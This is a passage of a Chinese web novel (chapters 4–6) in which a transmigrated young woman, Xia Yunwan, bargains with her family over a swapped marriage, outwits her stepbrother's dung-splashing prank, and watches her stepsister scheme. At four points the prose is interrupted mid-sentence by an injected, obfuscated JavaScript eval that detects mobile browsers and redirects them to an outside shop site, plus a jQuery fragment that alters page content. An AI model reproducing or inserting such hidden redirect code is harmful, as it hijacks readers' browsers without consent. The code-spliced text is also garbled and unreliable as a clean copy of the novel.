还是……不会跟自己一样换了芯子吧？ 夏云朵咬咬牙：“能有什么诈，我是真的想留在爸妈身边而已，云婉，你有什么好犹豫的！” “你不是也说了，海岛上日子苦。” “那也没有煤矿厂苦啊！” “原来你们都知道啊。”夏云婉左右打量了一番，“以前把我当傻子哄就算了，现在有求于我还骂我不懂事儿，我太伤心了，我绝不同意！ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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夏云朵继续道：“既然这样，我看你不如考虑考虑我说的那些话，你认识的人，无非学生无非没什么出息的乡下朋友，那陆家可是军官呢，咱这县城一条大河划分了东西，咱们西边儿条件差，陆家住的东市区听说都盖上百货大楼了，你嫁过去肯定不吃苦。” 不用夏云朵说，夏云婉早就在考虑了。 陆霖川。 这个原书中只出现在女主夏云朵口中的男人。 模样据说还算周正。 而且一开始夏云朵去海岛的时候，陆霖川是答应过夏云朵给她找工作的，只要夏云朵离开，并且签保证书放弃当年的婚约。 可夏云朵当时觉得没面子，又贪恋陆霖川的工资，这才怎么都不答应。 自己确实是可以先答应下替婚，等将来见了面，陆霖川不同意，自己再顺坡下驴，捎带着换个工位回来。 确实非常值得考虑。 不过得慢慢来就是了。 “云婉，差不多得了。”张艳红忍不住又走了过来，“你也不想想，要不是云朵这么大度，你八辈子也找不到这么好的……” “你要是这么说，那我就去找我的九辈子得了，妈，你今天太让我失望了！” 张艳红也是怕夏云朵反悔，着急的正要说话，却被夏云朵给抢先。 夏云朵：“妈！你就先哄着点云婉吧！” 眼瞧着她都快说通了，又来添乱！ 张艳红一时语塞，心头委屈，又不知道该超谁发泄，只能自己默默吞咽。 那边，夏云婉继续琢磨。 好一会儿，才道：“要替婚，也不是不行。” “真的？！”夏云朵高兴的就差拍手了。 “嗯，真的，不过……我得提条件。” “你说！” 夏云婉：“我去岛上，人生地不熟，万一被人家发现我不是真的夏老爷子的孙女儿，说不定还有危险，我怎么也得留点钱跑路才行。” 夏云朵咬咬牙，“这事儿得看爸妈了，你跟爸妈商量。” “爸妈疼你不疼我，现在求我的也是你，夏云朵，你要不同意就算了，我还是想要工位。” “别别别！”夏云朵闭眼深吸了一口气，“行，我去跟爸妈商量，你要多少钱？” 夏云婉嘴角这才勾起一丝微笑来，“两百彩礼，一分不少我全要留着。” 4. 第 4 章 “夏云婉，你是不是傻了？！” 没等夏云朵说什么，张艳红反而先听不下去了。 张艳红急火火的冲过去，又是恨又是急，“你知不知道女儿出嫁的彩礼天生就该归娘家所有，咱家条件不富裕，你弟妹眼瞧越来越大了，指望着你长大了能补贴家用，怎么还反过来敲娘家竹杠的？！” 夏家所有支出全指着夏贵仓一个人的工资，张艳红没工作，平时搓搓麻绳，接点小活儿，最后也就赚个三五块钱。 刚才一听夏云朵要把婚事替换给夏云婉，张艳红都高兴疯了。 这云婉毕竟是她自己带过来的亲闺女，那些个彩礼怎么说她也能搂一份当私房钱，谁知道这闺女铁了心要当白眼狼，居然打上彩礼的主意了！ 夏云婉望着张艳红，心里越发的失望。 她是爷爷奶奶带大的，虽对父母亲情看得淡，但此刻，也依旧为原身感到不值。 夏云婉：“天生就该归娘家？哪个天生的？哪条法律有规定了？” “这是老祖宗传下来的规矩！不用法律规定！” “现在早就破四旧了，妈，你不会是不想认法律，想要造反吧？” “你！”张艳红这下真的气急了，“你敢这么跟我说话，我看你真是欠教育了！” 张艳红说着，三两步抢了地上的扫帚就要打上来，结果下一秒，就被夏云婉眼疾手快先一步夺了过来。 她一开始考的可是中学老师，中学里刺头最多，不懂一点拳脚，怎么敢刚上任半年就领了班主任的活儿。 张艳红傻眼站在了原地，一时间竟有些无措。 她不懂那个逆来顺受的女儿，为什么会忤逆自己到这个地步，她可是她亲妈呀！ 夏云婉一脸失望开口：“我是真的没想到，你这个亲妈偏心到这种地步，还不如别人家的后妈，你们做这么绝，那我跟这个家也没有半点情分了，夏云朵，我话放到这儿了，两百彩礼，一分都不能少，什么时候彩礼交到我手里，什么时候咱们去换工位，如果爸那边背后偷偷给我调换，那我也破罐破摔。” 基因问题，夏云婉比夏云朵高上两三公分。 平时夏云婉低头含胸看不出来什么，如今昂首挺胸起来，气势足的让夏云朵想到了她记忆深处学校里那个语文老师来。 夏云朵咬咬牙：“嗯，我尽量替你跟爸妈商量。” “那我等你好消息。” ‘咚’的一声扫帚落地，夏云婉转身潇洒端起菊花茶回了办公……不是，是回了卧室。 - 晚饭的时候，都以为夏云婉不会出来，谁知道她安之若素，出来该吃吃该喝喝，好像并没有影响到她的心情。 夏家条件虽不算好，可至少能吃饱饭。 籼米掺了红薯丝芋头块蒸了一大盆，口感糙些，但就着齁咸的豆豉杂鱼，夏云婉不知不觉也下了两碗饭。 就是吃完了，她才发觉这时候的籼米还是没改良过的，颜色也偏黄，竟然有些拉嗓子。 等会儿还是得多喝点菊花茶才行。 夏家人眼瞧着夏云婉放下碗起身又回了卧室，此刻却没有一个敢开口让她留下等会儿刷碗的。 夏贵仓是懒得搭理，张艳红则是被刚才夏云婉带着恨意的眼神吓到了。 刚才做饭的时候张艳红也想了，这些年……她似乎对这个女儿并没有多少关心，可，可她也不容易啊…… 夏云朵则瞪着夏云婉的背影，暗中握紧了拳头。 忍字头上一把刀。 事儿还没成，还没亲眼看着夏云婉去陆家，她必须忍着。 等将来她工作到手，夏云婉去了海岛，到时候她头一个要去看夏云婉的笑话！ “妈，二姐今天咋不刷碗就走？” 夏宝金好奇的看了眼跟以往完全不同的夏云婉，抄起旁边的沙袋，晃晃悠悠的又砸了过去，正好砸到了夏云婉的小腿上。 在夏家几个孩子中，就算是夏云朵，都没有夏宝金的地位高。 平日在家作威作福惯了的夏宝金，跟街头小霸王一样，渐渐养成了动手动脚的毛病。 就算今儿没这沙包，要是有什么让他不顺心的，也照样能找到其他东西再跟人动手。 而且，夏宝金最喜欢欺负的就是夏云婉。 这个二姐唯唯诺诺，有时候被打被骂了，还反过来哄着他，大姐夏云朵还会骂人呢，二姐大气儿都不敢吭一声。 “你砸的我？” 可今日不同。 夏云婉转身，夏宝金正准备笑话她，猛然对上的却是一双沉静中透着冷厉的目光。 莫名的，夏宝金抖了一下。 “我、我砸了，怎么了？” 跟面对别人不一样，夏云婉不跟他啰嗦，弯腰抄起脚下的沙包，精准定位，直接砸了过去。 这种熊孩子，讲道理没用，得用事儿来教育才行。 她力气大，又有扔粉笔头的准头，一下砸到了夏宝金的脑袋上，随后沙包落到桌面的碗沿上，‘啪’的一声，碗碟也掉了一地。 “哇”的一声，夏宝金哭了出来。 “呜呜呜二姐打人了，砸到我的头，疼死了，爸妈，教训二姐，你们快点教训她啊呜呜呜……” 夏贵仓砰的拍响桌面，“你要翻天啊！这个家装不下你了是不是？！” “呜呜呜你滚出我家，呜呜……” 这么一吵，锅碗瓢盆一摔，外面同家属院的就有人围着过来问话。 夏云婉拍拍手上的土，声音大了些，“夏宝金先拿沙包砸我的，我没跟他动手就够意思了，只是想把沙包还给他而已，他自己接不住，怪我做什么。” “好啊，真是长本事了，学会狡辩了，夏云婉，滚过来把东西收拾了，不然我就……” “就怎么样？”夏云婉抱着胳膊，冷笑的看着色厉内敛的夏贵仓，“打我一顿，还是轰我出去，现在你们家可都等着我交工位，去陆家呢，我倒是愿意走，只要你们愿意。” “你别以为你抓了什么把柄，你……” 张艳红一边心疼的给儿子揉额头，一边拉了拉夏贵仓，“贵仓，宝金也没大事儿，再说也是宝金先动手的，别计较了。” 夏云朵也咬咬牙，转头低声劝道：“爸，云婉答应我了，等过两天陆家来人她就走，往后咱们一家好好过日子，现在先别搭理这个疯子。” 夏云婉瞧他们一家说起悄悄话来，再也懒得搭理转身回屋。 眼瞧外面不断有人问发生了什么，夏贵仓也怕闹大了到时候夏云婉直接破罐破摔， 没办法了，干脆把气撒到了张艳红身上。 随后夏宝金哭闹了好一会儿，好不容易止住了哭声，委屈的又跟夏贵仓告状。 “我提醒二姐刷碗，我又没有错！” 眼瞧夏贵仓又要发火，夏云朵连忙打圆场，“我洗我洗，今天我洗，爸妈，你们吃完去休息，爸，等会儿……等会儿我想跟您商量件事儿。” 方才夏贵仓虽然进屋，但话也听了大半，恨铁不成钢的瞪了一眼夏云朵。 “没出息，你说说你，多好的机会，干什么让给一个……” 一个外人。 但这话夏贵仓没说完，张艳红在旁边也就假装没听见。 夏云朵讨好道：“我有的我的苦衷，爸，您信我，将来我肯定比这更有出息！” 陆霖川是军官又怎么样，那也要看是哪里的军官，驻地在海岛，说不定一辈子都上不了岸，有天大的好处，也只能圈在那一亩三分地里，怎么想，都是跟着顾朝阳更有出息才对！ …… 当晚夏云朵是怎么劝动夏贵仓的，夏云婉并不知道。 反正夏贵仓最吃夏云朵那一套，他又心疼这个闺女，哄两句再应几个条件应该就行了。 不过这跟她就没关系了，她只要结果。 进屋后的夏云婉简单查看了一下原身的东西，原身虽是高中生了，但柜子里的衣服少的可怜，就算是夏天，也只有两身洗的发白的老式汗衫。 不行，明天就得把那陆家送过来的一半彩礼给要过来。 屋子里，还有个巴掌大小的圆镜。 原身模样跟夏云婉从前几乎一样，眉眼精致五官立体，甚至原身更瘦些，下巴更加精巧。 只是可惜，原身为了给家里节省点皂角，留着头短发，还配着厚重的学生刘海。 这样一来，她稍微低头，整张脸就被头发给包围了起来，半点看不出五官跟轮廓。 这些天也正赶上原身要修剪头发，长度恰好够绑起来，不过夏云婉打算把刚及肩的短发给留长了。 不是短发不好看，而是不能绑起来，不够利索。 而且可能是习惯了站在讲台上，夏云婉还是觉得大光明最好看。 简单梳理了一下，她就把刘海跟碎发一起在后面盘了个半丸子头的发型。 “你这样比以前好看一点。” 门被推开，夏念金走了进来，望着夏云婉，观察了一下后作出评价。 这个家里，夏念金是最没存在感的那个。 双胞胎，几乎同一时间出生的，可夏念金就是姐姐，夏宝金就是弟弟，夏云朵有自己的房间，她只能跟夏云婉挤在一起，地位勉强说仅高于原身。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923879|192685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就算是书中，这个妹妹，也只是个衬托女主夏云朵更漂亮的小透明存在而已。 不过这不代表夏念金没有优越感。 夏念金坐到了床边，认真继续道：“但也没有大姐好看，你要是这么闹，将来家里肯定更加容不下你。” 夏云婉解开头发准备去洗漱，慢悠悠道：“容不容得下我，今天晚上我也在这家里睡觉，那老不死的还能把我赶出去？” “……你怎么这么说话了？我要是把这话告诉爸妈，你一定要遭殃，别忘了，这家里你是唯一的外人。” 夏云婉这才侧目看过去，秀气的眉毛挑了挑，“唯一的外人，你也这么认为？” 夏念金怔了怔。 刚才只是侧面，现在正面看过去，她显然更觉得惊艳了。 之前怎么没发现，二姐的五官像是……像是电影海报里面那种女主角的五官，明朗又大气，比大姐那种寡淡的长相更漂亮。 可这话夏念金也只是心里说一说。 夏念金：“不只是我啊，大家都这么认为的，你虽然姓夏，但始终不是咱爸的血脉，家里唯一跟夏家没关系的，就只有你了。” “那照你这么说，咱妈也不姓夏，咱妈也是外人。” 夏念金有些急了：“这不一样，咱妈生了我跟宝金，我跟宝金是爸最疼的孩子。” 夏云婉笑了，“为什么你会觉得爸最疼你？难道不应该最疼的是宝金吗？你以为你跟我不一样，等你长大了你再看，他们也巴不得你赶紧嫁出去，好换点钱来给宝金。” “不可能！”夏念金皱起眉：“我又没有欺负过你，你干嘛这样说我！” “我说的都是实话，不信你就等着看。” “我才不信你呢，爸妈说过，我跟宝金是一样的。” “那为什么他叫宝金，你叫念金，不就是让你长大了多惦记照顾着宝金。” “不是的，这名字是让我以后能……能赚到金子！” 夏云婉不想跟这个小女孩儿再多下去，这种事情除了自己那天能醒悟，不然谁说她都信不来。 - 这一觉，夏云婉睡的比想象中舒服很多。 第二天，她照旧盘了个半丸子头，直接就准备找夏贵仓要钱。 夏云朵在旁边劝说着，再加上昨天晚上也提前商量过了，这钱反正早晚也是答应要给夏云婉的，对夏云婉来说，过程居然还挺顺利。 “我帮你拿钱，你得告诉我等会儿你要去哪儿。”夏云朵堵在门口，不让夏云婉出去。 夏云婉平静的看着她，“夏云朵，你得明白一个问题，这件事情，从头到尾都是你在求我帮你，况且，我出门去哪里，你也管不着。” “你个坏人！不许欺负大姐，不然我打死你！” 夏宝金跳了出来。 今天周末，双胞胎跟张艳红都在家。 夏云婉轻轻叹了口气摇头：“小王八蛋，就你这个体格，在你打死我之前，我已经打死你八百回了，要不咱们现在就试试？” 夏宝金：“……” 算了，他没有八百个能让夏云婉打的。 仰头看了看夏云婉，夏宝金气恼的哼了一声跑开了，“算了，反正你今天没招惹我，先放你一马！” 夏云朵翻了个白眼，继续道：“夏云婉，你万一拿着钱跑路怎么办？我不信任。” “放心，你昨天说的不错，陆家对我来说是个好选择，冲着这婚事，我也不会跑路的，走了。” 言罢，夏云婉不再跟她掰扯，一把打开夏云朵的胳膊。 “这个贱人！” 夏云朵低声暗骂了两句，心中仍旧惴惴不安。 别的不怕，就怕她撒谎今天去见顾朝阳。 上一世的这几天，夏云婉一直都定时定点去见煤矿厂外面跟顾朝阳见面，可她却不知道俩人是在最近的哪一天定下关系的。 夏云婉嘴上说的好听，万一她想左右逢源，吃锅望盆怎么办？ 而且她现在也不好估算顾朝阳对夏云婉的感情到底多深，她得尽快见一面顾朝阳才行。 想来想去，夏云朵看向了院子里跟伙伴儿玩耍的弟弟夏宝金。 “宝金，你过来，姐跟你有话说。” “正玩呢，别烦我。” “你帮我个忙，我有好处给你，五毛钱够不够？” 闻言，夏宝金这才跟伙伴说了一声跑过来，但也依旧不耐烦，“赶紧说啥事儿，要是跑腿我还要再买一根冰棍儿。” 夏云朵扬起手里的毛钞：“你是不是很讨厌你二姐，现在有个法子，能帮你报仇。” 5. 第 5 章 ‘叮铃——’ “小姑娘，赶紧往旁边让一让。” 夏云婉连忙侧了个身，给后方过来的二八大杠让位置。 车轮从街口人家门前的返潮路面驶过，地上泼的洗衣水溅起微微的水花。 这年代的河岩市，道路还很狭窄，天虽热着，但空气却没有那样重的汽油味儿。 深吸一口气，就连吹来的风都是温吞的，从西南方向吹来，夹杂着淡淡的海水气味儿。 虽才来这里不到一天，可夏云婉却并不感觉陌生，甚至出门后，这一路上都在感兴趣的四处张望，神色中带着几分怀念。 这里，跟她小时候长大的城市地理位置上几乎相同，只是城市名字不同。 后来毕业后家里不好找工作，她才北上留在了京市。 可若说生活，其实夏云婉一直都很怀念故土，那个养育她的地方。 在出租屋时，她偶尔也会做梦，梦到小时候的街道。 却不曾想，如今干脆穿到了一个如此相似的城市来。 不过就是处境暂时窘迫了些。 夏云婉瞄了眼身上洗得发白的衣衫跟马裤，心里默默想着。 但不着急，慢慢…… “嘘……” “别被她发现了。” 又是这个声音。 夏云婉皱了皱眉，余光瞥了眼身后。 打从刚才出了家属院门没多久，她就感觉到后面似乎有人在跟着自己。 跟着的人一点也不专业，方才自行车经过时，他们没来得及躲闪，还露出了一大截衣服。 一开始，夏云婉以为是夏云朵跟来了。 她本来也不是要去找顾朝阳的，就没当回事儿，可走了一段路才发觉，后面竟是三两个十来岁的男孩儿。 想了想，夏云婉迈开了步子，走得比刚才快了不少。 “快快快，你们俩带着痰盂去前面拐角拦住她，等会儿我从面喊人，喊完你们就泼，别犹豫！” 夏宝金捏着鼻子，指挥着身后两个小伙伴。 痰盂被人用报纸封了口，但离近了，立刻便能闻到从里面散发出的恶臭。 仔细看看，原来这三男孩儿鼻子里头塞了草纸堵着，这才能一路拎着走过来。 “夏宝金，我们这次为了你报仇可做出了巨大的奉献，除了冰棍，咋也得再给点报酬吧。” “就是，我俩……一人再要一毛钱！” 夏宝金：“我拢共就拿了五毛，一人一毛，又找挑粪的给了一毛，剩下买仨冰棍往哪儿还够用，不行！” “不行？那我们就不去了！” “就是，不去了！” 眼瞧着夏云婉越走越远，夏宝金着急起来。 到时候没报仇成功，还得把钱还给大姐，不成不成。 “行，给就给，但你们得保证能泼到她身上，裤腿也行，她就这一条裤子没洗，泼上了今儿就出不去了，到时候还能看她闹笑话！” 虽然不知道大姐为啥非不想让二姐出门，但只要能报仇，他才不想那么多呢。 之后两个孩子点点头，飞奔着绕到了旁边的小巷子里，抄近路准备去前面提前蹲守夏云婉。 夏宝金算了算时间，等那边快到了，也一路小跑，拐了弯后，追着夏云婉的背影喊起来。 “二姐，二姐等一下！” “二姐，夏云婉——你等一下啊，妈说让你回家的时候顺便给打瓶酱油！” 夏云婉早就听见了声音，她余光瞄准了旁边的一处凉棚，等快走到了，才缓缓停下来。 而在夏云婉前面的街口，提前到了的另外两个男孩儿，已经一块儿拎着那个装了粪水的痰盂部署好了一切。 就等夏云婉转身，然后就立刻上前泼了就跑，这样也不会被看到，也不会被抓住。 这事儿他们不是头一次干了，只是从前泼过洗衣水，泼过泔水，粪水还是头一次！ 可夏云婉却没有转身的意思。 她站在凉棚旁边，耳朵听着身后夏宝金的脚步声越来越近，这才缓缓作势要转身。 只是旁边没注意，夏云婉却提前留意着，余光瞥见了街角有人冲过来，提前一步，微微侧身迅速钻到了凉棚里面去。 “夏云——呕！！！” “我操，泼错人了！！” “快跑！！” “臭死了，谁家孩子瞎胡闹玩粪水！！给我站住！！” “拦住他们，就是他们两个——” “太恶心了！！” “呕——” …… 一番兵荒马乱，泼粪的俩孩子被凉棚主人，跟街道上路过的行人，住户一块儿堵在了墙角。 作案工具痰盂丢在地上提溜乱转，周围人捂着口鼻，怒目都瞪着他们俩。 夏宝金个子矮，粪水险些泼到脖子上，半身都挂着汤汤水水，也顾不上别的了，趴在地上一边哭一边吐，一边吐，还一边翻白眼。 “你们两个是谁家的！！这凉棚是公家刚搭好准备当卖菜点的，你们这属于是破坏公家财产懂不懂？！” 原来凉棚里面正在打理地面的不是住户，而是街道上的工作人员。 呦，那还真是不巧了。 夏云婉在旁边抱着胳膊看着这一幕，她躲之前可没想到闹到公家上面去。 俩孩子也是十二三岁的年纪，此刻被抓后，又被大人骂了几句，现在听还是公家财产，吓得更是哆哆嗦嗦。 “呜呜呜，我们、我们不是故意的，我们一开始没打算泼凉棚！” “对对对，我们也是被人指使的，就是——” 俩孩子扫了一圈，目光落在狼狈的夏宝金身上。 “是他指示我们干的！” “对！” 工作人员不相信，横了一眼过去，“哄谁呢，他让你们泼他自己？” “真的，我们是泼错人了，原本要泼的是他姐姐！！” 这下众人才看向夏云婉。 夏云婉摊开手，“这是我继弟，我俩关系是不好，但说白了我是无辜的。” 工作人员皱皱眉。 旁边有路过大娘也围过来一边捂着鼻子一边看热闹。 “哟，这是毛纺厂家属院夏家那个二丫头吧，啧，他家把小儿子惯坏了，没少欺负人，没想到现在都敢给亲姐泼大粪。” “还泼到了公家的凉棚上，现在泼粪，将来不得毁田害人啊。” “啧，现在不就是在害人，可臭死我了，叫他们家人来给咱们收拾干净，否则坚决不依！” “就是就是……” 工作人员左右看看，最终喊了人帮忙，拉着三个孩子一块儿先去找家属院的家长解决。 夏云婉也被要求跟着。 “可我还有事儿呢同志，刚才我也没想到后面有人泼粪，只是听见有人喊我，我怕挡了路，这才侧身先进凉棚的。”夏云婉一脸无辜道。 工作人员刚才听人说了夏家的大概。 重组家庭里母亲带过来的闺女，肯定在家没少受委屈，也不容易。 “夏同志，我知道这事儿跟你没关系，你也算是受害人，但也是当事人，得跟着去做个见证。” “……那好吧。” 毛纺厂家属院。 路人押着俩大一点的孩子，夏宝金则是被人捂着鼻子揪着轰着进了家属院。 刚一进去，臭味儿散开，就有人捂着鼻子骂娘。 “哪个孙子把茅坑炸了？” “谁家把拉粪车赶进来了？” “都不是！”刚才替夏云婉说话的郭大娘捏着鼻子，把刚才的事儿大致说了。 张艳红急匆匆赶过来，看这场景，听完以后，眼前一黑差点昏过去。 不过据夏云婉观察，张艳红应该是被冲过去的夏宝金给熏昏的…… 工作人员冷眼看着，“先别急着晕倒，那雨棚是公家的，还有那边的路面，现在弄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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张艳红在大院里人缘并不好，之前夏云婉也连带着没人搭理，但今儿看夏云婉难得说这么多话，不少人其实都在替她叫好。 “你啊，从前就该硬气点，瞧你被欺负的，我都想起来我妹子家再婚后带过去的那个小侄女儿了，早些年闹饥荒，咱们这儿没少死人，饥荒过去，可不少死了丈夫老婆的另外带娃再婚的，要家家户户都跟她那样，谁家日子都得鸡飞狗跳的！这家属院人多，一家吵闹家家都受影响，看热闹是有意思，时间久了谁都嫌烦，不瞒你说，我儿子的大闺女也是当初收养的北方过来躲饥荒的……” 这话聊起来，就没了头。 夏云婉又是一个极好的听众，她当成八卦听个热闹，时不时的附和两句，引得郭大娘聊起兴了。 郭大娘：“二丫头，你这一打扮我瞧着比你那姐姐靓多了，回头呀，我给你介绍个好点的对象，就我有个侄子，也是咱纺织厂的，人高马大宽脸浓眉，你一准能看上！” 人高马大挺好，浓眉也好，宽脸不太好…… 不过要是之前，夏云婉怎么也得客气着点头，现在就先算了。 夏云婉：“郭大娘，我家已经给我介绍对象了，过些天人家就来接我。” “谁家的？在哪儿工作呀？” “市区东城的，以前老一辈儿定下来的婚事，条件听说还行，是个当兵的。” 郭大娘皱皱眉：“我前两天听你家夏云朵提过这茬？不会是……” 夏云婉遮掩着笑道：“您兴许是记错了吧，没这事儿，就是我的婚事，中午了，就不打扰您了，我先走了。” 等她一走，郭大娘就看向旁边的人。 “一准是夏云朵那娇丫头耍无赖，自己嫌人家条件差，所以把婚事推给了二丫头。” “估计是，可在东城住，又是个当兵的，条件怎么也不会差吧。” 郭大娘想了想，眯着眼睛分析，语气肯定：“一准儿见了照片，觉得男方又挫又丑才换的，就夏云朵那脾气，绝对没错！” 6. 第 6 章 直到中午吃饭，也没见夏云朵回家。 “一个两个的天天往外面跑，云朵都是被你带坏的！” 张艳红剜了一眼夏云婉，“你爸不在，我再多说你一句，就算妈再怎么样，咱们始终是一家人，别忘了本！” 夏云婉擦擦嘴，起身，“我的本在乡下呢，要不我过两天就下乡一趟，给我亲爹哭坟去，顺便说说这些年的遭遇，让他老人家在下面保佑我一番，谁要是欺负我了，就让他找谁聊聊天，尤其是您，您说我这还算忘本吗？” “……” 张艳红气的咬牙，“你可真是长本事了，结婚别指望我给你添一分的嫁妆！” “没指望，您也别指望将来让我帮扶你的命根子宝金，还有养老，您也说是指望夏云朵，咱们提前说清楚，将来我出了夏家门，就两不相欠了。” “你！你个没良心的……” “但凡换个人，这些年伺候你们全家，恐怕连妈都不会喊一声，我够给你们留面子了，外面人怎么说你的你心里也清楚。” 张艳红说不过夏云婉。 她打破脑袋也没想到有一天她会说不过夏云婉，还被反将一军，就连家里的顶梁柱夏贵仓都因为夏云朵被夏云婉掣肘。 兔子急了也咬人，可夏云婉这只兔子，牙齿未免也过于锋利了。 夏云婉：“赶紧去接着刷凉棚吧，晚上刷不干净说不定要赔钱呢，妈，我好心建议你把夏宝金也带过去，也好长长记性，要真再这么下去，以后说不定真要翻天。” 天地良心，王母娘娘在上，她可真是出于一片好心。 孩子小时候不立规矩不教育，长大脾性养成，再改就难了。 不过夏云婉也清楚，越是这么说，那夏宝金一准越反叛。 果然，她说完以后张艳红虽有几分意思，可夏宝金却气得撒泼打滚在地上转圈，死活不愿意一块儿去清理凉棚。 依照张艳红的性格，当然还是心疼自己的命根儿了，转头叹口气拎着水桶又出了门。 “你今天真厉害。” 夏宝金又跑出去玩了，夏念金这才说话。 家里就连大姐都不敢轻易招惹宝金，可今天二姐居然能把宝金搞得那么惨，她自己还一点事儿都没有，这简直不可思议。 夏云婉挑眉：“这就厉害？这不是守卫自己的正当权益嘛，这叫公平。” 夏念金不是很理解什么叫自己的权益，有些茫然。 夏云婉也没多解释，又笑道：“不过话说回来，能维护自身权益，也是挺厉害的。” “……以前也没见你这么自恋。” “不是你先夸我的？” “……好吧，那倒也是。” 顿了顿，夏念金有些犹豫，但还是开了口，“对了，二姐，我跟你说个事儿。” “什么事儿？” “……我记得你提过你前几天带饭出去是见朋友对不？上午那会儿，我看见大姐也带着饭盒出去了，然后……也是大姐喊宝金去找你麻烦的，还说就算不成功，只要拦住你一会儿也行。” 中午没看见夏云朵的时候，夏云婉就猜到了这里，听夏念金这么一说，就更可以肯定了。 跟原书一样，夏云朵知晓前世的事情，所以迫不及待想去找顾朝阳，昨天她回来跟家里说要让原身换工作后，原身第一次跟家里吵架。 可一怒之下，原身也只是怒了一下。 所谓吵架，不过三两句拌嘴，第二天还因为这，原身还被张艳红锁到了家里，不让她出门，夏云朵才趁此机会去找了顾朝阳。 “二姐？” 夏念金伸手在夏云婉眼睛前面摆了摆，然后抿抿嘴，“你可别跟人说是我告的密，不然大姐那个脾气知道我就惨了。” 夏云婉浅笑着看过去，“放心，她不会知道的。” 因为夏云婉也没打算因为这个事儿去找夏云朵，她找顾朝阳跟自己又没关系，今天自己出去，本来是要去供销社的。 “嗯，我信你。”夏念金也笑了。 夏云婉促狭道：“这会儿不说我是外人了？怎么还来我这儿告你自己家人的状？” 夏念金长着几颗雀斑的脸蛋红了红，侧了看向旁边，“咳咳……在家里我本来就说话少，说了也没人搭理我，平时也就跟你多说几句话，就当是我看你教训宝金高兴呗，而且我那话也没说错啊，爸妈以前就这样跟我讲的，血脉关系是不一样的，我就算告状，也跟大姐流着一样的血。” “爸妈说的就都是对的？那行吧，等我回来了，我这个外人请你吃糖。” 因着夏宝金耽搁了一上午，她还得去看布料呢，原身这衣服，实在是太旧了，不管怎么说过几天也要出远门，还是去相亲结婚，穿齐整些她自己心情也好。 夏念金目送夏云婉离开，正好也能看见院子里蹦蹦跳跳玩弹弓的夏宝金。 看见二姐过去，夏宝金跟从前完全不同，明显缩了缩脖子，等人走了，才在后面吐了口唾沫。 夏念金：“真没出息，只会背后……” 话没说完，夏念金就捂住了嘴，要是给夏宝金听见了找爸妈告状，自己免不得又挨一顿骂。 愣了一下，夏念金又想起刚才二姐的话来。 爸妈说她跟宝金是一样的，可很明显，就是不那么一样。 - 煤矿厂。 老时间，老地点，煤矿厂外的十字路口南面，有石墩子的那个巷子，就是顾朝阳跟夏云婉约好每天送饭的地方。 毕竟俩人关系还没确定，夏云婉也只是以老同学的身份关心顾朝阳，要是太惹眼了容易被人议论。 其实顾朝阳也没想到，这么多年过去了，夏云婉性子比着小时候更加好哄。 那会儿俩人也才上小学，夏云婉父亲刚死，顾朝阳多安慰了两句，谁能想到她竟然记了这么多年，在城里第一次碰巧见面，就主动找了顾朝阳说话。 她说他是个好人，她还记得，还说什么一直都想谢谢他。 顾朝阳自然也记得夏云婉，只是没想到她母亲能带着她把户口迁到城里家属院来。 他如今工作并不稳定，只是煤矿厂的临时工，将来要是能跟夏云婉走到一起，说不定能借助他家关系走走后门，当上正式工人，就算不成，还有机会把自己的户口迁到城里来，到时候在县城找什么活儿，也都比在乡下攒工分强。 仔细算是，他应该拢共说了十来句的好话吧，然后服个软，装个可怜，一来二去，就哄的这个夏云婉自己主动来找自己，还省下家里的口粮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923881|192685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 送饭。 这样的女人，顾朝阳可太喜欢了。 心软，好哄，还没见过什么世面，将来结了婚也管不住他，而且其实夏云婉挺漂亮的，至少那双眼睛，是他见过的女人里面最好看的…… 顾朝阳蹲在石墩上越想越美，嘴角不自觉咧了起来。 “傻乐什么呢，被风吹的中邪了？”工友路过，好奇的喊道。 顾朝阳瞥了一眼过去：“你懂什么，我等人呢。” “等谁？” “朋友。” 工友神秘兮兮笑了：“别装了，你是不是有对象了？都送饭两三天了，还以为我们没看见呢。” 顾朝阳嗯了一声，“等会儿人就来了，你们在这儿人家多不好意思。” “送的什么，也给我们补补营养呗？” “行，我看看有好的给你留点，赶紧走吧，马上到点了。” 只是等工友走后，顾朝阳又等了将近半小时，把马路都快给望出坑来了，也没见着有人过来找他。 “顾朝阳，你那个对象呢？别还没确定关系，就被人甩了吧哈哈……” “你不会是一厢情愿吧？” “去去去！烦着呢！” 顾朝阳气恼的将人轰走，转头郁闷不已。 这个夏云婉真是的…… 可想着想着，顾朝阳想起了昨天分别时，夏云婉那双漂亮眼睛里的淡漠。 她说什么来着？ “再说吧。” 